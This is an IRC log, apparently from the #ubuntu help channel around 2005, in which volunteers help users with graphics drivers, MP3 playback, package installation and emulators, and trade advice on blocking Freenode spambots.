[07:38] <tritium> Ice9, you want linux-headers-$(uname -r)
[07:38] <tritium> not kernel-headers...
[07:38] <Reilyn> trollin trollin trollin.....get those comments flowing....keep the bullshit rolling...RAWHIDE!
[07:38] <Ice9> oh
[07:38] <regeya> my my my.
[07:38] <regeya> Have me wet, Reilyn?
[07:38] <regeya> met, even?
[07:38] <regeya> yikes.
[07:39] <regeya> it's 12:30 a.m. and I'm at work.
[07:39] <Reilyn> we might have
[07:39] <tritium> regeya, lucky you that you can use IRC at work
[07:39] <Reilyn> I am new to the Ubuntu community
[07:39] <Reilyn> I am currently on Winblows
[07:39] <Reilyn> cause I have no net access. =/
[07:39] <Myrtti> regeya: its 0839 and I came from work hour and an half ago
[07:40] <Luna-Tick> Sigh... well it looks like I will have to go back to m79 and upgrade again
[07:40] <brett> Ohgod... Don'tsay winblows. It reminds me of #debian, andmyfirst attempts with Linux :)
[07:40] <Reilyn> hehe
[07:40] <Reilyn> I am a debian newbie
[07:40] <brownie17> spammers gone?
[07:40] <brownie17> nice!
[07:40] <Reilyn> it's funny, I feel more comfortable in dos than windows
[07:40] <lunitik> brownie17: if you read the topic... they will be
[07:41] <cafuego> brownie17: Nah
[07:41] <Reilyn> But I don't like the linux console (so far)
[07:41] <brownie17> lunatik: what happened to the unregged lobby  thing?
[07:41] <Reilyn> I just got to learn the commands
[07:41] <lunitik> Reilyn: think the other way around... and you're fine...
[07:41] <Luna-Tick> Thanks anyway, guys. Ciao
[07:41] <bimberi> brownie17: all these quick joins/lefts are spammers
[07:41] <xulMunkee> what's with the ubuntu spamming?
[07:41] <Reilyn> What is the other way around?
[07:41] <bimberi> or spambots rather
[07:41] <xulMunkee> yeah. what's going on?
[07:41] <Madpilot> Reilyn: have a look here for linux commands: https://wiki.ubuntu.com/BasicCommands
[07:42] <lunitik> Reilyn: ls -l blah = ls blah /l in linux for instance (although, really, its dir blah /w  :/
[07:42] <brownie17> kemik: i downloaded the thing in synaptic so i could listen to mp3's, and i can only listen to them in totem, not just "music player"
[07:42] <Reilyn> I thought I was retarded cause I couldn't compile the aol dialer from Linspire
[07:42] <Reilyn> but there was no usable config file in it
[07:42] <Reilyn> It was just duh
[07:43] <kcidx> can anyone help me with a X problem i'm on breezy
[07:43] <kcidx> root@ubuntu:/home/dave # fglrxinfo
[07:43] <kcidx> Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[07:43] <kcidx> display: :0.0  screen: 0
[07:43] <kcidx> OpenGL vendor string: Mesa project: www.mesa3d.org
[07:43] <kcidx> OpenGL renderer string: Mesa GLX Indirect
[07:43] <kcidx> OpenGL version string: 1.2 (1.5 Mesa 6.2.1)
[07:43] <kcidx> root@ubuntu:/home/dave #
[07:43] <brownie17> kcidx use pastebin
[07:43] <Madpilot> !pastebin
[07:43] <ubotu> I heard pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[07:43] <brownie17> !tell kcidx about pastebin
[07:43] <xulMunkee> hey does breezy fix rendering problems with unicode in GTK apps?
[07:43] <lunitik> brownie17: 'sudo apt-get install gstreamer0.8-mad'
[07:44] <kcidx> brownie17, thnx
[07:44] <brownie17> ok? but i just did something like that in synaptic
[07:44] <Madpilot> brownie17: there are a whole bunch of gstreamer packages
[07:44] <brownie17> madpilot: yeh i thought i did most of them
[07:44] <lunitik> Madpilot: he only needs -mad for mp3's...
[07:45] <brownie17> lunitik: didn't work, ill give youy a pastebin
[07:45] <lunitik> brownie17: universe enabled?
[07:45] <kcidx> there is one error specific in the Xorg.log   (EE) fglrx(0): R200DRIScreenInit failed (DRI version = 5.0.0, expected 4.1.0). Disabling DRI.     any idea whats missing
[07:45] <brownie17> !pastebin
[07:45] <ubotu> somebody said pastebin was a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[07:45] <Drazak_> night
[07:46] <lunitik> brownie17: go enable universe in /etc/apt/sources.list
[07:46] <brownie17> lunitik: http://paste.ubuntulinux.nl/1739
[07:46] <lunitik> brownie17: remove the '#' at the start of the line
[07:46] <brownie17> lunitik: i thought i did enable universe
[07:46] <lunitik> brownie17: blah... according to that... mp3's should work in Rhythmbox
[07:47] <brownie17> lunitik: not rythm box, just the default installed "music player"
[07:48] <brownie17> lunitik: i dunno
[07:48] <NoUse> !mp3
[07:48] <ubotu> I guess mp3 is read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[07:48] <Madpilot> brownie17: Rythymbox is the default "Music Player"
[07:48] <brownie17> nouse: read that, did what it said
[07:48] <brownie17> madpilot: thanx
[07:48] <lunitik> NoUse: grrr... I already told him how to...
[07:49] <brownie17> madpilot: it friggen works now
[07:49] <brownie17> madpilot: bloody hell
[07:50] <brownie17> madpilot: i cnat edit the "title" and "artist" tags in rythmbox, how do i do that
[07:50] <tritium> brownie17, try using easytag
[07:50] <brownie17> is it allready installed/
[07:51] <brownie17> or do i use synaptic
[07:51] <brownie17> tritium: do i have to use synaptic to download it?
[07:51] <NoUse> brownie17 yes
[07:51] <NoUse> brownie17 use synaptic
[07:51] <Madpilot> brownie17: easytag is in Synaptic
[07:52] <brownie17> madpilot: are most programs that have linux versions avbailable through synaptic?
[07:52] <tritium> brownie17, you don't _have_ to, as there are other methods, but I'd recommend that you use it
[07:52] <lunitik> brownie17: over 8,000 of them are...
[07:52] <tritium> 16,000
[07:52] <Madpilot> brownie17: possibly, it really depends. It's always worth checking Synaptic, though
[07:52] <|Imp|> i am a genium
[07:52] <|Imp|> er
[07:53] <tritium> if you enable universe and multiverse
[07:53] <|Imp|> genius*
[07:53] <|Imp|> anywho
[07:53] <|Imp|> i got around the craptastic hardware in my ubuntu box
[07:53] <Madpilot> a genius who can't spell? ;)
[07:53] <lunitik> tritium: Ubuntu doesn't include _all_ Debian packages... its about 7,500 actually...
[07:53] <|Imp|> but booting into the ubuntu
[07:53] <tritium> lunitik, no, quite a bit more
[07:53] <|Imp|> and then using ubuntu run in virutal machine on a much more powerful machine
[07:53] <|Imp|> and using XDMCP
[07:54] <carthik> !umode
[07:54] <ubotu> The freenode user modes are described at http://freenode.net/using_the_network.shtml
[07:54] <lunitik> tritium: I stand corrected... 17,464 ... how they get that many is beyond me...
[07:54] <tritium> heh ;)
[07:54] <nentis> going to reinstall hoary from x86 to amd64.  Is there an easy way to pull my list of installed packages and use that list to install the amd64 versions after installation?  Is it as easy as 's/i386/amd64/g'?
[07:55] <lunitik> tritium: this is breezy ... but I was under the impression Sid only had 15,000 ish? and Ubuntu is a subset of Sid?
[07:55] <brownie17> madpilot: is there a shortcut for show desktop, like start+D in windows?
[07:56] <Madpilot> a keyboard shortcut? no idea, I've never checked, actually
[07:56] <Madpilot> you should have a 'go to desktop' button in the bottom-left corner of your screen, though - on the bottom taskbar
[07:56] <lunitik> brownie17: that box in the lower left corner
[07:56] <tritium> lunitik, not entirely.  There are some packages in ubuntu that are not in debian
[07:56] <brownie17> madpilot: how could i find out?
[07:56] <bimberi> brownie17: <ctrl><alt>D
[07:57] <brownie17> lunitik: a keyboard shortuct?
[07:57] <brownie17> bimberi: good on you
[07:57] <lunitik> brownie17: whatever you define it as... although what bimberi said is default
[07:57] <bimberi> brownie17: Systems -> Preferences -> Keyboard Shortcuts
[07:57] <aftertaf> morning people :)
[07:57] <bimberi> brownie17: yw :)
[07:58] <carthik> ubotu keyboard shortcuts is modifiable at System -> Preferences -> Keyboard Shortcuts
[07:58] <ubotu> okay, carthik
[07:58] <aftertaf> !keyboard shortcuts
[07:58] <ubotu> I heard keyboard shortcuts is modifiable at System -> Preferences -> Keyboard Shortcuts
[07:58] <aftertaf> hehe
[07:58] <bimberi> if only it could be made "are"
[07:59] <bimberi> :)
[07:59] <carthik> ubotu keyboard shortcuts is also at http://www.gnome.org/learn/access-guide/2.10/ch03.html#keynav-2
[07:59] <aftertaf> lol bimberi
[07:59] <ubotu> okay, carthik
[07:59] <Madpilot> all the people who come in and leave in ten seconds - that must be related to the spamming crap?
[07:59] <HrdwrBoB> yes it is
[08:00] <aftertaf> that or somebody has forgotten to flush the toilet ;)
[08:00] <dabar> Madpilot: so it seems
[08:01] <aftertaf> can't you turn off those announcements?
[08:01] <lunitik> aftertaf: they're not announcements
[08:01] <lunitik> !spam
[08:01] <ubotu> hmm... spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[08:02] <aru> honestly, I like to hear the latest porn ads
[08:02] <aru> ...
[08:02] <Ice9> I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff
[08:02] <lunitik> aru: cliphunter.com = free clip library
[08:02] <Madpilot> !tell Ice9 about ati
[08:03] <aftertaf> the joined/leaving messagethem?disable s.... can't
[08:03] <lunitik> aru: the spammers are advertising pay-as-you-go porn (not that I clicked it)
[08:03] <Ice9> thanks Madpilot, but I've seen that about 10000000 times
[08:03] <brownie17> madpilot: does synaptic include game? do you know any games for linux?
[08:03] <Madpilot> Ice9: so it's still not working?
[08:03] <Ice9> correct
[08:03] <brownie17> madpilot: do you kno if there is a mario game for linux? that's my fav game of all time
[08:03] <lunitik> brownie17: Wesnoth is rather nice  :)
[08:03] <lunitik> brownie17: supertux
[08:04] <Madpilot> brownie17: sure. search for "game" in Description & Name
[08:04] <lunitik> brownie17: although I can't beat the first level... always stuck at where you have to jump at the end  ;:(
[08:04] <brownie17> lunitik: wisnoth and supertux are games, yes?
[08:04] <kabayan> bandung
[08:04] <lunitik> brownie17: yup... wesnoth is a tactics game... supertux is a platform
[08:05] <tritium> good night...
[08:05] <Madpilot> Wesnoth is *hard* - it looks pretty simple, but it's a really well designed game...
[08:05] <nalioth> night, tritium
[08:05] <kabayan> hotseved dal net
[08:05] <aftertaf> i hate this touchpad!!!
[08:05] <brownie17> lunitik: so no mario!? shite
[08:06] <aftertaf> the joined/leaving messages.... can't we disable them?
[08:06] <lunitik> brownie17: you can find ROM's that work with zsnes ... but for the most part.. no
[08:06] <Madpilot> brownie17: I think SuperTux is mario-like - remember that someone actually owns "Mario", and isn't likely to share...
[08:06] <Carpe_Libertatem> How can I get plugins for Music Player/Ryhthm Box? Why doesn't it include MP3 plugin by default? o_o
[08:06] <Dr_Willis> wow - this is getting nasty.. spamed befor i can even  +CE
[08:06] <Madpilot> !mp3
[08:06] <ubotu> somebody said mp3 was read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[08:06] <aftertaf> mp3 not free
[08:06] <Madpilot> Carpe_Libertatem: see above with ubotu ^^^
[08:07] <nalioth> Madpilot: start using the msg feature in ubotu please (to cut down on channel clutter)
[08:07] <Madpilot> nalioth: will do. with all the join/left crap it's hard enough to follow things...
[08:08] <Shinjan> hi folks
[08:08] <aftertaf> Madpilot:  hence my question ... :)
[08:09] <Madpilot> aftertaf: about hiding them? yeah...
[08:09] <fr500> hello
[08:09] <kabayan> bandung
[08:09] <fr500> is there a way to make GTK1 apps look better in gnome?, i have seen many screenshots of programs  that don't look as bad as on my PC
[08:10] <brownie17> madpilot: so if i download the SNES emulator through synaptic, i should be able to use normal roms from the internet? :) not that i would steal games!
[08:10] <Madpilot> brownie17: I guess that's how it works. Never been into the console stuff myself
[08:10] <omp342> brownie17: i downloaded a genesis emulator and i can use normal roms (not that i would steal games!)
[08:10] <lunitik> brownie17: yes... exactly... although its almost more trouble than its worth....
[08:11] <fr500> how do i report spmmaers and such, some bots spamming with s**cams and stuff
[08:11] <omp342> i don't even use ubuntu, i don't know why i'm here :)
[08:11] <brownie17> lunitik: mario and bomberman are never more trouble then they are worth. i have psnet probably over 200 hours of my life playing mario
[08:11] <moZer> running ubuntu breezy, with nvidia-glx 7667 + RenderAccel enabled + libglitz1-glx + libcairo2-1.0.0 rebuilt with --enable-glitz
[08:11] <lunitik> fr500: lilo (the guy that maintains freenode) is well aware of it... and is working on a long term solution...
[08:11] <lunitik> !spam
[08:11] <ubotu> it has been said that spam is Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[08:11] <moZer> would that setup utilize openGL hardware acceleration of 2d graphics, or is some part missing or not yet implemented?
[08:11] <moZer> !spam
[08:11] <lunitik> fr500: thats the short term version though
[08:11] <fr500> lunitik, ok
[08:11] <omp342> CE??
[08:12] <omp342> whats the C for?
[08:12] <omp342> i just have +E now
[08:12] <nalioths_dog> much nicer
[08:12] <lunitik> omp342: no ctcp's from non-registered users
[08:12] <ksmurf> !nvidia
[08:12] <ubotu> well, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[08:12] <omp342> !umodes
[08:12] <ubotu> omp342: Do they come in packets of five?
[08:12] <nalioth> omp342: +C keeps unregged users from CTCPing you, and +E is for PMs
[08:12] <omp342> ahh
[08:12] <brownie17> naliothL finally we know what the c does!
[08:12] <omp342> i just have +E and i've been fine :)
[08:13] <nalioth> to prevent spambot annoyance, see /topic or set yourself +CE
[08:13] <brownie17> g2g you guys!
[08:13] <brownie17> cya
[08:13] <omp342> if you guys make this channel +r, no bots would even come in to collect usernames
[08:13] <Dr_Willis> im stil trying to figure out how to make xchat, run several commands at start up :P identify then set myself +CE
[08:13] <fr500> ok
[08:13] <fr500> now again
[08:13] <fr500> how do i report spmmaers and such, some bots spamming with s**cams and stuff
[08:13] <fr500> oppps
[08:13] <nalioth> omp342: and no unregged users would come in either
[08:14] <fr500> sorry
[08:14] <fr500> wrong message
[08:14] <omp342> nalioth: i know :P
[08:14] <nalioth> omp342: so defeating the purpose of a help channel for new users
[08:14] <omp342> well, it's not hard for them to register :)
[08:14] <omp342> that's how #gentoo has been for the last 2-3 days and it's been fine
[08:14] <aftertaf> but can't we use a setting to block out these entry/quit messages?
[08:14] <fr500> is there a way to make GTK1 apps look better in gnome?, i have seen many screenshots of programs  that don't look as bad as on my PC, mine look all square messages and icons, while the screenshots i have seen seem to use the themes
[08:15] <omp342> i haven't used ubuntu for about 2 weeks now =/
[08:16] <Dr_Willis> blasphmy!
[08:16] <omp342> ahh this is getting annoying...
[08:17] <omp342> all these enter/quit messages
[08:17] <Belutz> anyone using beep media player?
[08:17] <Dr_Willis> :)
[08:17] <aru> Belutz: yup :)
[08:17] <fr500> Belutz, me
[08:17] <omp342> i don't have any songs on my computer :P
[08:17] <benplaut> opera giving out free registration codes in about an hour
[08:17] <Madpilot> benplaut: seriously?
[08:18] <benplaut> yeah
[08:18] <benplaut> http://www.download.com/Opera/3000-2356_4-10421507.html
[08:18] <benplaut> read at the bottom
[08:18] <benplaut> all credit to subdue in #zaurus :)
[08:18] <omp342> ehh
[08:18] <Dr_Willis> hmmm
[08:19] <omp342> i prefer firefox :)
[08:19] <Madpilot> benplaut: cool. makes it even more worth it to stay up late!
[08:19] <Dr_Willis> makes ya wonder if its legit. :P
[08:19] <benplaut> it's on download.com :P
[08:19] <benplaut> no, no, no...
[08:19] <benplaut> mytrashmail.com
[08:19] <Madpilot> omp342: Firefox isn't bad, in a few years it'll have caught up to where Opera is now ;)
[08:19] <Belutz> aru, fr500 : what's the different between bmp and xmms?
[08:19] <Dr_Willis> abcdefghijklmnopqrstuvwxyz.com  - for email!
[08:19] <Dr_Willis> LO
[08:20] <benplaut> omp342, so do i, but... what the h*ll?! it's free!
[08:20] <fr500> Belutz, usability i think, beep looks more user friendly
[08:20] <aru> Belutz: from my understanbding beep is the newer xmms
[08:20] <fr500> some strange issue with firefox, when i run it on gnome, a java applet i use  looks like cr*p, when i use the same firefox in te same pc, same applet, looks way better
[08:20] <Belutz> ic
[08:20] <aru> Belutz: and from my spelling I would say I'm done
[08:20] <omp342> i'm going to get it
[08:20] <omp342> even though i won't use it :)
[08:21] <Belutz> aru, fr500: i've been reading the forums, and most of them do not recommend installing xmms, i like to know why...
[08:21] <aru> Belutz: my opinion, it's old
[08:21] <Belutz> aru: ic
[08:22] <fr500> Belutz, i have both, but i use only beep
[08:22] <Belutz> aru, fr500: do know where i could find the plugins for bmp?
[08:22] <aru> Belutz: what plugins, mp3?
[08:22] <Belutz> *do you know
[08:22] <omp342> is it not already 12:00am PDT?
[08:23] <Belutz> aru: no, mp3 works fine, other plugins
[08:23] <aftertaf> true xmms is a bit ugly and dates now.
[08:23] <fr500> Belutz, in the wiki page
[08:23] <aftertaf> !beep
[08:23] <ubotu> I don't know, aftertaf
[08:23] <aru> omp342: 11:23pm
[08:23] <Belutz> aru: i can't stream using bmp, but i can do it with xmms
[08:23] <lunitik> !bmp
[08:23] <ubotu> bmp is, like, totally, a guide to Beep Media Player and Plugins, at https://wiki.ubuntu.com/BeepMediaPlayer
[08:23] <omp342> cause according to internet, PDT is utc -7
[08:23] <lunitik> aftertaf: thats likely what you want
[08:23] <omp342> PST (11:23pm - where i am)  is UTC -8
[08:23] <aftertaf> hehe lunitik ;)
[08:23] <aftertaf> GMT +1
[08:24] <fr500> Belutz, i thould work fine (for playing streams)
[08:24] <Madpilot> omp342: Daylight Savings - we're -7 for a while, not -8
[08:24] <fr500> how do i change GTK1.x themes?
[08:24] <omp342> oh
[08:24] <pprince_> Could someone tell me if they can resolve hope4gorilla.tweakism.com ?
[08:24] <omp342> Madpilot: stupid me :)
[08:25] <aftertaf> pprince_:  trying
[08:25] <Belutz> ic
[08:25] <Belutz> aru, fr500: thx for the input :)
[08:25] <aftertaf> pprince_:  Your requested host "hope4gorilla.tweakism.com" could not be resolved by DNS.
[08:25] <pprince_> aftertaf: are you sure? ...
[08:26] <fr500> Belutz, no prob
[08:26] <fr500> how can i change gtk1 themes
[08:26] <fr500> ?
[08:27] <omp342> i always thought opera was free
[08:27] <omp342> i guess im wrong
[08:27] <dell500> wow these spammers are really annoying
[08:27] <aftertaf> thats what my proxy said..
[08:27] <dell500> how do I get a Belkin Wireless G (F5D7000) to work?
[08:27] <NoUse> dell500 there are some blocking instructions in the topic
[08:28] <Madpilot> omp342: free but there's a two line text ad across the top...
[08:28] <dell500> aw thanks
[08:28] <omp342> Madpilot: oh
[08:28] <omp342> i assume i'm the only one here not using ubuntu? :)
[08:28] <dell500> so how do i get the belkin wireless to work
[08:29] <Reilyn> no, I am not on ubuntu now
[08:29] <Reilyn> only cause I don't have net access at the moment
[08:29] <omp342> i mean i don't use it at all :/
[08:29] <ztonzy> hmm anyone else getting spammed ?
[08:29] <Reilyn> via ubu
[08:29] <omp342> i use gentoo
[08:29] <omp342> ztonzy: /mode ztonzy +CE
[08:29] <omp342> write that
[08:29] <omp342> it will stop them from spamming you
[08:29] <ztonzy> omp342, thanks
[08:29] <Chrusthino|gayse> |nick Chrustinho
[08:30] <NoUse> dell500 a quick google search revealed: http://www.linuxant.com/driverloader/
[08:30] <omp342> !spam
[08:30] <ubotu> spam is, like, Freenode is being affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter
[08:30] <ztonzy> omp342, in xchat, where can I set this ?
[08:30] <brownie17> madpilot: i installed snes9x, but it doesnt appear in the games menu, where will it appear
[08:31] <jiggafellz> is there a ctrl+alt+del type command for ubuntu?
[08:31] <lunitik> ztonzy: just type what it says
[08:31] <lunitik> jiggafellz: ctrl + alt + backspace
[08:31] <Reilyn> ya, reach over and press your reset button =)
[08:31] <Madpilot> brownie17: haven't a clue... try "man snes9x" in a terminal
[08:31] <jiggafellz> ty lunitik
[08:31] <lunitik> jiggafellz: although... that doesn't shutdown the box... just X
[08:31] <ztonzy> lunitik, did, but for future
[08:31] <NoUse> ztonzy just type it in to your text box
[08:32] <omp342> ztonzy: just type it
[08:32] <brownie17> !pastebin
[08:32] <ubotu> methinks pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[08:32] <ztonzy> well I have
[08:32] <ztonzy> :-\
[08:32] <aftertaf> try /umode +CE
[08:32] <jiggafellz> i have ubuntu on my primary slave.  my primary master is formatted to NTFS.  how hard is it to mount the primary master?
[08:32] <brownie17> madpilot: http://paste.ubuntulinux.nl/1740
[08:33] <NoUse> !tell jiggafellz about ntfs
[08:33] <dell500> NoUse, that didn't really tell me anything about my card though
[08:33] <aru> !ntfs
[08:33] <ubotu> well, ntfs is the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.
[08:33] <brownie17> madpilot: whats what showed up, but what good does that do me?
[08:33] <aftertaf> !tell jiggafellz about mount
[08:33] <NoUse> dell500 thats the driver you need
[08:33] <jiggafellz> ahh
[08:33] <jiggafellz> ty
[08:33] <aftertaf> these join messages .... :/
[08:35] <Madpilot> brownie17: scroll down, there should be more man page below
[08:35] <Madpilot> !tell brownie17 about cli
[08:35] <omp342> 25 minutes
[08:36] <maximaus> Hey all, just logged onto freenode for a bit of #ubuntu lurkage, being majorly /msg spammed. Any suggestions? On Xchat, btw.
[08:36] <NoUse> !tell maximaus about spam
[08:37] <Tripp> I try to use wvdial, but I get a message saying /dev/modem file or directory does'nt exist, any ideas????
[08:37] <aftertaf> !tell aftertaf about spam
[08:37] <brownie17> maximus: follow instructions in topic ::: /umode +ce
[08:38] <Tripp> Anyone?
[08:38] <NoUse> Tripp your modem wasn't detected
[08:38] <Tripp> Yea, I tried auto detect.
[08:39] <Tripp> Is there anything I can do??
[08:39] <NoUse> !dialup
[08:39] <ubotu> rumour has it, dialup is https://wiki.ubuntu.com//DialupModemHowto
[08:39] <maximaus>  /umode +CE
[08:39] <laxise> hi
[08:39] <NoUse> check that out, maybe you have a winmodem or something
[08:39] <Tripp> Ok
[08:40] <maximaus>  /umode +CE
[08:40] <dell500> NoUse, i'll do it tomorrow, too tired :) thanks though
[08:40] <NoUse> dell500 sure
[08:42] <laxise> hey does anyone know how to set up sound system to 2+1(bass) insted of only two speakers cause its not
[08:42] <aftertaf> found a python script on xchat site to redirect presence notification :)
[08:42] <laxise> really a good sound
[08:43] <brownie17> madpilot: there is more, but it is only jargon about startup options
[08:43] <NoUse> laxise usually the bass isn't handled by the computer
[08:45] <Madpilot> brownie17: hit google, I've never used any of that emulation stuff
[08:45] <laxise> NoUse: hm ... i dont think so cause my speaker are trying to play bass and my bass is not playing at all
[08:45] <Seveas> benplaut, switch of that obnoxious script
[08:45] <brownie17> nalioth: i download SNES with synaptic, but it didnt appear in my games menu, do you know how i can open it?
[08:45] <benplaut> woops
[08:46] <brownie17> madpilot: thanx for your help
[08:46] <benplaut> didn't know the applet did that
[08:46] <Razor-X`> wow, all these spammers....
[08:46] <Seveas> damnit
[08:46] <Seveas> freenode had those privmsges disabled
[08:46] <bimberi> Hi Seveas, feel like banning a few of these IPs (eg. 210.5.111.171 )
[08:46] <NoUse> laxise my 2+1 system worked just fine, check your eq settings or something
[08:46] <laxise> NoUse: problem solved .... found some instructions
[08:47] <NoUse> laxise cool
[08:47] <brownie17> nalioth_wrkn, whats with the new name?
[08:47] <laxise> NoUse: thx for trying to help but u were right setting problem
[08:48] <benplaut> k, it's off :)
[08:48] <Madpilot> Seveas: so we're back to using -unregged as a filter?
[08:48] <NoUse> brownie17 try reseting the panel via killall gnome-panel
[08:49] <Seveas> yeah
[08:49] <brownie17> nouse: didn't have to do that crap with other synaptic installations, why this differnet, how i do that? got any guides? brb
[08:50] <omp342> 10 minutes left =o
[08:50] <NoUse> brownie17 it just needs to get restarted sometimes after installations
[08:50] <NoUse> brownie17 run ' killall gnome-panel' in the console
[08:51] <brownie17> nouse: allready did that, it didnt work
[08:51] <NoUse> brownie17 so just zsnes or whatever its called from the console
[08:51] <brownie17> nouse: some other porgrams that should have appeared did though, just not snes9x
[08:52] <brownie17> nouse, i think i might understand, but why can't i get it in the menu?
[08:52] <NoUse> brownie17 you can add it with smeg
[08:52] <NoUse> !smeg
[08:52] <ubotu> I guess smeg is a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.
[08:53] <brownie17> nouse, smeg something from synaptic?
[08:53] <omp342> NoUse: smeg requires an older unstable version of python (at least that's what i remember)
[08:53] <NoUse> brownie17 most everything comes from synaptic
[08:53] <benplaut> 8.x still not out?
[08:53] <aru> aru gnome will trouch you in an almost perverted way, that is how you know... you have found desktop mecca
[08:55] <brownie17> !pastebin
[08:55] <ubotu> pastebin is, like, totally, a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[08:55] <Reilyn> yes, perverted touching = mecca
[08:55] <gn0me> I tried installing the new ATI drivers (using the distro-specific option) and it doesn't work.  Anyone know what to do?
[08:56] <brownie17> nouse: http://paste.ubuntulinux.nl/1741
[08:56] <NoUse> brownie17 hmm never seem that before
[08:56] <brownie17> who should i ask about it then?
[08:57] <NoUse> brownie17 check the forums
[08:57] <brownie17> nouse: who should i ask about it then
[08:57] <brownie17> nouse: ok
[08:57] <brownie17> nouse: i might ask around a bit first, forums seem to be too restricted for me
[08:57] <brownie17> madpilot: http://paste.ubuntulinux.nl/1741
[08:57] <NoUse> brownie17 restricted?
[08:58] <brownie17> nouse: the just seem to impersonal for me
[08:59] <brownie17> madpilot: http://paste.ubuntulinux.nl/1741
[08:59] <Madpilot> brownie17: I've never tried to install smeg, no idea what that means...
[08:59] <brownie17> madpilot: ok
[08:59] <NoUse> brownie17  you might want to check your repositories too
[08:59] <NoUse> !repos
[08:59] <ubotu> I guess repos is at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[09:00] <cafuego> !smeg
[09:00] <ubotu> smeg is, like, a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.
[09:01] <omp342> its past 12:00 am !!!!
[09:01] <Reilyn> that is not smeg
[09:01] <NoUse> omp342 shocking
[09:02] <omp342> NoUse: that means
[09:02] <omp342> NoUse: opera is free
[09:02] <bjv> is there a pretty painless way to enable software raid in the kernel?
[09:02] <NoUse> omp342 free but not Free
[09:02] <lunitik> Reilyn: ?? erm, yes it is... and its included in Ubuntu  :)
[09:03] <omp342> NoUse: ?
[09:03] <lunitik> Reilyn: Ubuntu Breezy*
[09:03] <NoUse> omp342 its free as in no cost, but its not Free as in Free Software
[09:03] <lunitik> *pats his clean menu's*
[09:04] <omp342> Should I download opera if i'm not going to use it? :)
[09:04] <omp342> firefox is so much better
[09:04] <lunitik> cafuego: you familier with smeg? any way to edit System menu's?
[09:04] <NoUse> omp342 indeed
[09:05] <Reilyn> how is it so much better?
[09:05] <NoUse> Reilyn firefox follows web stanards much better
[09:05] <lunitik> Reilyn: not as bloated by default... but you can add almost any feature you could imagine to it via extensions...
[09:05] <Reilyn> I believe OPera supports W3C standards
[09:05] <lunitik> Reilyn: its cleaner... makes more sense from a UI POV
[09:05] <aimaz> lunitik, wasn't that firefox's original idea?
[09:05] <lunitik> Reilyn: want me to go on?
[09:05] <NoUse> Reilyn not as well as Firefox
[09:06] <lunitik> aimaz: indeed
[09:06] <aimaz> i hear that firefox 1.1 will be less weighty
[09:06] <Reilyn> I haven't had problems with opera, except with IE sites.
[09:06] <lunitik> NoUse: actually... I think Opera can use Gecko or MSHTML
[09:06] <Reilyn> I like how fast it loads pages.
[09:06] <lunitik> Reilyn: new opera can use MSHTML
[09:07] <brownie17> nouse: don't worry, i got a better emulator :)
[09:07] <syn-ack> Opera is slow and a lot doesnt render as cleanly as Firefox
[09:07] <Reilyn> I am using 8.02
[09:07] <NoUse> oh joy, MSHTML the worse HTML renderer of all
[09:07] <lunitik> NoUse: indeed  :)
[09:07] <jiggafellz> what brand HDD do you guys recommend?  i've had enough of WD160's
[09:07] <Madpilot> Opera has its own rendering engine, AFAIK
[09:07] <Reilyn> Opera is faster than firefox on my system
[09:07] <Reilyn> Yes, it does
[09:07] <maximaus> it's faster on mine too, but I still prefer FF. :P
[09:08] <lunitik> Reilyn: cool... hey, if you want to use Opera... thats your perogative... please drop the subject though.
[09:08] <syn-ack> And the fact that its not free pisses me off
[09:08] <cafuego> jiggafellz: Well, I find WDs very, very nice. fast and quiet. I do only have 80GB models, though.
[09:08] <maximaus> The ad banner is teeny, and honest, no biggie.
[09:08] <aimaz> jiggafellz, I quite like the latest Maxtor ones, apparantly they have special bearing that makes them last longer, but some people don't like them
[09:09] <Reilyn> I like how firefox is a clean framework to start from.
[09:09] <Reilyn> It's really YOUR browser
[09:09] <lunitik> Reilyn: number one reason Opera sucks?  ad supported!
[09:09] <bjv> jiggafellz: i recommend anything with a 3-5 year warrenty
[09:09] <syn-ack> Maxtor is evil
[09:09] <maximaus> just joined--so I can trust the latest Maxtors?
[09:09] <Reilyn> I support cracks =)
[09:09] <lunitik> Reilyn: and don't tell me about getting a crack... stealing software is illegal...
[09:09] <aimaz> syn-ack, how come?
[09:09] <Reilyn> Yes it is.
[09:09] <lunitik> Reilyn: bah... I hope you end up in court for that.
[09:09] <Reilyn> I did buy opera v6
[09:10] <Reilyn> haha
[09:10] <lunitik> Reilyn: they want you to buy all versions...
[09:10] <syn-ack> aimaz: EVERY Maxtor drive Ive had has crapped out on me 6 months after I bought it
[09:10] <jiggafellz> thanks for the input guys.  i'm scared of maxtor and i've always trusted WD but over the past couple of years, they've been dropping like flies.
[09:10] <lunitik> Reilyn: you have fun with that
[09:10] <Agrajag> lunitik: crack?
[09:10] <brownie17> nouse: whats was that command for resetting the gnome menu again sorry?
[09:10] <omp342> You can get opera for free today without ads, but the fact still remains that opera is crap.
[09:10] <Agrajag> lunitik: you can get a free key today
[09:10] <cafuego> lunitik: No, I've been able to use my opera v6 key all the way through to 8.x
[09:10] <NoUse> brownie17 'killall gnome-panel'
[09:10] <jiggafellz> seagate has a nice 5yr warranty.
[09:10] <bjv> maxtor, WD, eh. they are both not that great in some cases.
[09:10] <syn-ack> Im still a WD weenie
